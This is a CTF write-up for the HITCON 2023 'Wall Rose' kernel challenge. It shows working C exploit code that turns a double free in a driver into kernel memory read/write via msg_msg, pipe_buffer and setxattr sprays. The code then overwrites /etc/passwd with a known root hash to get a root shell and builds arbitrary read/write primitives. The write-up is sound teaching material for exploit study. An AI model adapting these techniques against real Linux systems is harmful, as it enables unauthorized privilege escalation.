HITCON CTF 2023 Quals - Full Chain - Wall Rose

  • You have a busybox shell running as user user
  • /home/user/rose.ko is a vulnerable kernel driver
  • Try exploiting /home/user/rose.ko to achieve privilege escalation
  • You may assumed that Busybox, the Linux kernel, and Qemu are not vulnerable.

Notes

  • FG-KASLR is enabled
  • Your exploit should be kernel-agnostic. In other words, it should not rely on any kernel offsets

Team: Super Guesser

Attachment: wall-rose.tgz pwn.c xpl.py

This challenge was part of the Full Chain series, in which we had to exploit a kernel module to achieve privilege escalation in the kernel part.

The rose module itself didn’t really do much, except providing a device, which can be opened and closed.

On open, the device would kmalloc a 0x400 chunk in kernel heap, which it would kfree, when the device gets closed.

...
static char *data;

static int rose_open(struct inode *inode, struct file *file) {
    data = kmalloc(MAX_DATA_HEIGHT, GFP_KERNEL);
    if (!data) {
        printk(KERN_ERR "Wall Rose: kmalloc error\n");
        return -1;
    }
    memset(data, 0, MAX_DATA_HEIGHT);
    return 0;
}

static int rose_release(struct inode *inode, struct file *file) {
    kfree(data);
    return 0;
}

The data pointer is shared between the devices. Thus, we can use that to free the data block over and over again, by opening multiple devices (all pointing to the same data block) and whenever we need to free the data block, we can just close one of the devices.

With this, we can free the data block, put another kernel object into that chunk and free it again via another open rose device.

While using ttystruct might have been useful here, /dev/ptmx wasn’t accessable for normal users. So, while searching for useful kernel objects and testing out different approaches, creating and writing to pipe objects filled up the freed data chunk with pipe_buffer objects.

But to be able to do something useful with them, we would need some kernel leaks first. I thought of using msg_msg objects to read the leaks from the freed buffer, but MSG_COPY didn’t work for me and calling msgrcv on a message in the chunk, while it’s freed would result in a double free kernel panic.

To get the initial leaks, I did

  • open multiple rose devices
  • free data buffer
  • send a message with a size, so it would put its msg_seq buffer in the freed data buffer
  • free data buffer again (so msg_seq chunk is also freed)
  • create a pipe and write to it multiple times to fill up the data buffer with pipe_buffer objects
  • free data buffer again (so the chunk with our pipe_buffers is freed again)
  • send a message on another message queue with a smaller msg_seq (but big enough, that it will still get into the freed 0x400 chunk) and align it with one of the pipe_buffers
  • read the message from the first message queue (which can read the complete 0x400 chunk) and get the leaks from it
int qid[2];
int fds[10];

...

void init_devices()
{
    printf("Init devices\n");
    memset(buffer, 0x41, 0x2000);

    for (int i = 0; i < 2; i++)
        qid[i] = msg_open();

    for (int i = 0; i < 10; i++)
        fds[i] = open("/dev/rose", 0);
}

void get_initial_leaks()
{
    int pipe_pair[2];

    printf("Free data\n");

    close(fds[0]);

    printf("Put msg_seq in freed data\n");

    msgsend(qid[0], buffer, 0xfd0 + 0x400 - 0x30, 0);

    printf("Free msg_seq\n");

    close(fds[1]);

    printf("Create pipe\n");

    pipe(pipe_pair);
    p.r = pipe_pair[0];
    p.w = pipe_pair[1];

    printf("Fill pipe buffers in freed data\n");

    memset(buffer, 0x41, 0x100);
    for (int i = 0; i < 0xf1; i++)
    {
        write(p.w, buffer, 0x100);
    }

    printf("Free pipes\n");

    close(fds[2]);

    printf("Put msg_seq in data aligned with pipe buffers\n");

    msgsend(qid[1], buffer, 0xfd0 + 0x400 - 0x200, 0);
    msgrcv(qid[0], buffer, 0xfd0 + 0x400, 0, 0);

    // Read pipe_buffer data from msg_seq data
    struct pipe_buffer *pbuf = buffer + 0x11d8;

    printf("\n");
    printf("Pipe->page    : %p\n", pbuf->page);
    printf("Pipe->offset  : %p\n", pbuf->offset);
    printf("Pipe->len     : %p\n", pbuf->len);
    printf("Pipe->ops     : %p\n", pbuf->ops);
    printf("Pipe->flags   : %p\n", pbuf->flags);
    printf("Pipe->private : %p\n", pbuf->priv);
    printf("\n");

    pbuf_page = pbuf->page;
    pbuf_ops = pbuf->ops;
    kernel_base = pbuf_ops - 0x161df80;
    vmemmap_base = pbuf_page & ~(0xfffffffULL);
    modprobe_addr = pbuf->ops + 0x633ea0;

    printf("Kernel base   : %p\n", kernel_base);
    printf("VMEMMAP base  : %p\n", vmemmap_base);
    printf("modprobe_path : %p\n", modprobe_addr);
    printf("\n");
}

int main(int argc, char *argv[])
{
    init_devices();
    get_initial_leaks(); 
}
Init devices
Free data
Put msg_seq in freed data
Free msg_seq
Create pipe
Fill pipe buffers in freed data
Free pipes
Put msg_seq in data aligned with pipe buffers

Pipe->page    : 0xffffca3a000a69c0
Pipe->offset  : 0
Pipe->len     : 0x1000
Pipe->ops     : 0xffffffff8901df80
Pipe->flags   : 0x10
Pipe->private : 0

Kernel base   : 0xffffffff87a00000
VMEMMAP base  : 0xffffca3a00000000
modprobe_path : 0xffffffff89651e20

With those leaks at hand, we could now repair the data chunk by filling it with valid pipe_buffer objects again, so that we can read and write from them.

Getting the flag quick and easy (dirty one)

Having not worked with pipes by now, I struggled quite some time to get the pipes working in a way to do specific reads. But I was already able to use them to successively read the whole kernel memory.

At that point, I opted for a quick ctf solution: Since the flag file is in kernel memory, why not just read memory until we find the hitcon string ;)

void ghetto_find_flag()
{
    unsigned long *ptr;

    struct pipe_buffer *pbuf = buffer;

    for (long i = 0xef0000; i < 0x3bfff000; i += 0x40)
    {
        // Rewrite pipe buffer in data
        memset(buffer, 0x0, 0x400);

        pbuf->page = pbuf_page + i;
        pbuf->offset = 0x0;
        pbuf->len = 0x1001; // avoid freeing pipe on read
        pbuf->ops = pbuf_ops;
        pbuf->flags = 0x10;
        pbuf->priv = 0x0;

        setxattr("/dev/null", "attr", buffer, 0x400, 0);

        read(p.r, buffer, 0x1000);

        if (memstr(buffer, "hitcon", 0x1000, 6))
        {
            printf("Offset: %p\n", i);
            write(1, buffer, 0x100);
            dopause("found hitcon");
        }
    }
}

Might take some time, but will ultimately find the flag (on remote it was pretty quick).

Init devices
Free data
Put msg_seq in freed data
Free msg_seq
Create pipe
Fill pipe buffers in freed data
Free pipes
Put msg_seq in data aligned with pipe buffers

Pipe->page    : 0xfffff00f000a4b40
Pipe->offset  : 0
Pipe->len     : 0x1000
Pipe->ops     : 0xffffffffa9a1df80
Pipe->flags   : 0x10
Pipe->private : 0

Kernel base   : 0xffffffffa8400000
VMEMMAP base  : 0xfffff00f00000000
modprobe_path : 0xffffffffaa051e20

Offset: 0xefc140
hitcon{The_right_way_of_pronouncing_pipe_is_pee_pay---Inugami_Korone}
[found hitcon]

Not very elegant, but a flag is a flag, so the challenge was solved for now. But that would not help us, if we would want to do the umi challenge later on, which required to successfully go through all Full Chain challenges.

Getting a proper root shell

We can use a similar approach like searching for the flag to get more information about kernel addresses.

I did that to find the rose module itself and then read module offsets from it.

void get_additional_leaks()
{
    unsigned long *ptr;

    struct pipe_buffer *pbuf = buffer;

    for (long i = 0x0; i < 0x8000000; i += 0x40)
    {
        // Rewrite pipe buffer in data
        memset(buffer, 0x0, 0x400);

        pbuf->page = pbuf_page + i;
        pbuf->offset = 0x0;
        pbuf->len = 0x1001; // avoid freeing pipe on read
        pbuf->ops = pbuf_ops;
        pbuf->flags = 0x10;
        pbuf->priv = 0x0;

        setxattr("/dev/null", "attr", buffer, 0x400, 0);

        read(p.r, buffer, 0x1000);

        if (memstr(buffer, "rose", 0x1000, 4))
        {
            moduletext = get_addr(buffer, 0x20);
            moduleread = get_addr(buffer, 0x48);
            modulebss = get_addr(buffer, 0x50);
            moduleheap = get_addr(buffer, 0x540);

            if ((moduleread & 0xfff) == 0x36)
            {
                printf("Found moduletext : %p\n", moduletext);
                printf("Found moduleread : %p\n", moduleread);
                printf("Found modulebss  : %p\n", modulebss);
                printf("Found moduleheap : %p\n", moduleheap);
                printf("\n");
                break;
            }
        }
    }
}

But at that point, I still didn’t knew how the page address from the pipe_buffer object needed to be filled to do specific read/writes, it was more like randomly reading kernel memory, so I took a break and went on with the maria challenge.

When raj joined later on, we took another look at the challenge, since he had already done some exploits with pipe_buffer and extended the exploit to scan for the passwd file instead, overwrote it and then just su‘d into root, which gave us a root shell.

That also contained the missing pieces for me to get a better idea of pipe_buffer.page, which I used afterwards to extend the exploit into a more arb read/write style later on (though this was just for practice and to have it written down somewhere for future ctfs).

unsigned long find_passwd_off()
{
    printf("Search passwd region page offset");

    uint64_t mpqw = 0;
    uint64_t moff = 0;

    page_offset = moduleheap & ~(0x3fffffff);

    unsigned long *ptr;

    while (mpqw != PASSWD_QW)
    {
        struct pipe_buffer pipe = {
            .page = phys_to_page(virt_to_phys(page_offset + moff)),
            .offset = 0x4,
            .len = 0x100,
            .ops = pbuf_ops,
            .flags = 0x10,
            .priv = 0x0};

        ptr = &pipe;
        moff += 0x1000;

        setxattr("/dev/null", "attr", ptr, 0x400 - 0x30, 0);
        memset(buffer, 0x42, 8);
        read(p.r, buffer, 8);

        ptr = buffer;
        mpqw = *ptr;
    }

    moff -= 0x1000;

    return moff;
}

void exploit_passwd()
{
    page_offset = moduleheap & ~(0x3fffffff);

    unsigned long moff = find_passwd_off();

    struct pipe_buffer pbfs[0x20];

    struct pipe_buffer pipe = {
        .page = phys_to_page(virt_to_phys(page_offset + moff)),
        .offset = 0,
        .len = 0,
        .ops = pbuf_ops,
        .flags = 0x10,
        .priv = 0x0};

    for (int i = 0; i < 0x20; ++i)
    {
        pbfs[i] = pipe;
    }

    unsigned long *ptr = &pbfs[0];

    printf("offset: %#llx\n", moff);

    setxattr("/dev/null", "attr", ptr, 0x400 - 0x30, 0);
    strcpy(buffer, "root:$1$3S6VifHx$WxudbKqG7.8g7dwuUg0H30:0:0:root:/root:/bin/sh\n");
    write(p.w, buffer, strlen(buffer));

    printf("Password: passwd\n");
    system("su");
}

So, in find_passwd_off we use the pipe again to read kernel memory until we find the content of /etc/passwd, but this time taking note of the offset to our data chunk. Knowing the offset from the current data page, we can properly setup a pipe_buffer to overwrite data at a specific address.

After searching the offset, we just fixed the pipe by creating multiple pipe_buffer objects pointing to /etc/passwd and wrote them back into data. Then we can use the pipe to overwrite the data in /etc/passwd (put a known password for root). All that’s left is to execute su and manually enter the set password (passwd) to get a proper root shell.

Init devices
Free data
Put msg_seq in freed data
Free msg_seq
Create pipe
Fill pipe buffers in freed data
Free pipes
Put msg_seq in data aligned with pipe buffers

Pipe->page    : 0xffffeb26400949c0
Pipe->offset  : 0
Pipe->len     : 0x1000
Pipe->ops     : 0xffffffff85a1df80
Pipe->flags   : 0x10
Pipe->private : 0

Kernel base   : 0xffffffff84400000
VMEMMAP base  : 0xffffeb2640000000
modprobe_path : 0xffffffff86051e20

Found moduletext : 0xffffffffc03cb000
Found moduleread : 0xffffffffc03cc036
Found modulebss  : 0xffffffffc03cd0a0
Found moduleheap : 0xffff8fea81188800

Search passwd region page offsetoffset: 0x23fe7000
Password: passwd
Password: passwd

/home/user # id
id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
/home/user #

Enhancing the exploit for arbitrary read / write

Though, after getting the idea of using the offset to a known address for setting up proper pipe_buffer objects, I cleaned up the exploit and extended it a bit.

To find an offset to a known address in kernel mapping, I just used the same approach again to find modprobe_path.

unsigned long find_modprobe_off()
{
    printf("Search modprobe_path region page offset");

    uint64_t mpqw = 0;
    uint64_t moff = 0;

    page_offset = moduleheap & ~(0x3fffffff);

    unsigned long *ptr;

    while (mpqw != MODPROBE_QW)
    {
        struct pipe_buffer pipe = {
            .page = phys_to_page(virt_to_phys(page_offset + moff)),
            .offset = 0xe20,
            .len = 0x100,
            .ops = pbuf_ops,
            .flags = 0x10,
            .priv = 0x0};

        ptr = &pipe;
        moff += 0x1000;

        setxattr("/dev/null", "attr", ptr, 0x400 - 0x30, 0);
        memset(buffer, 0x42, 8);
        read(p.r, buffer, 8);

        ptr = buffer;
        mpqw = *ptr;
    }

    moff -= 0x1000;

    return moff;
}

Since we now know the offset to modprobe_path (and we also know the real address of it), we can now calculate offsets to any other address based on this.

void read_address(unsigned long address, unsigned long moff, unsigned int size)
{
    struct pipe_buffer pbfs[0x20];

    unsigned long target_addr = address;
    unsigned long target_page_off;

    if (address < modprobe_addr)
        target_page_off = moff - (modprobe_addr - 0xe20 - (target_addr & ~(0xfff)));
    else
        target_page_off = moff + ((target_addr & ~(0xfff)) - (modprobe_addr - 0xe20));

    unsigned long target_offset = target_addr & 0xfff;

    struct pipe_buffer pipe = {
        .page = phys_to_page(virt_to_phys(page_offset + target_page_off)),
        .offset = target_offset,
        .len = size + 1,
        .ops = pbuf_ops,
        .flags = 0x10,
        .priv = 0x0};

    for (int i = 0; i < 0x20; ++i)
        pbfs[i] = pipe;

    unsigned long *ptr = &pbfs[0];

    setxattr("/dev/null", "attr", ptr, 0x400 - 0x30, 0);

    read(p.r, buffer, size);
}
void write_address(unsigned long address, unsigned long moff, unsigned int size)
{
    struct pipe_buffer pbfs[0x20];

    unsigned long target_addr = address;
    unsigned long target_page_off;

    if (address < modprobe_addr)
    {
        target_page_off = moff - (modprobe_addr - 0xe20 - (target_addr & ~(0xfff)));
    }
    else
    {
        target_page_off = moff + ((target_addr & ~(0xfff)) - (modprobe_addr - 0xe20));
    }

    unsigned long target_offset = target_addr & 0xfff;

    // For read set len, for write set len to 0x0
    struct pipe_buffer pipe = {
        .page = phys_to_page(virt_to_phys(page_offset + target_page_off)),
        .offset = target_offset,
        .len = 0,
        .ops = pbuf_ops,
        .flags = 0x10,
        .priv = 0x0};

    for (int i = 0; i < 0x20; ++i)
        pbfs[i] = pipe;

    unsigned long *ptr = &pbfs[0];

    setxattr("/dev/null", "attr", ptr, 0x400 - 0x30, 0);

    write(p.w, buffer, size);
}
...
unsigned long moff = find_modprobe_off();

read_address(kernel_base, moff, 0x100);
write(1, buffer, 0x100);
...

Though this was just to get a better understanding of pipe_buffer, these functions could now also have been used to find specific functions or rop gadgets in the kernel (defeating FG-KASLR).

If using su would not have been available, we could have used this then to hunt for gadgets and prepare a rop chain instead.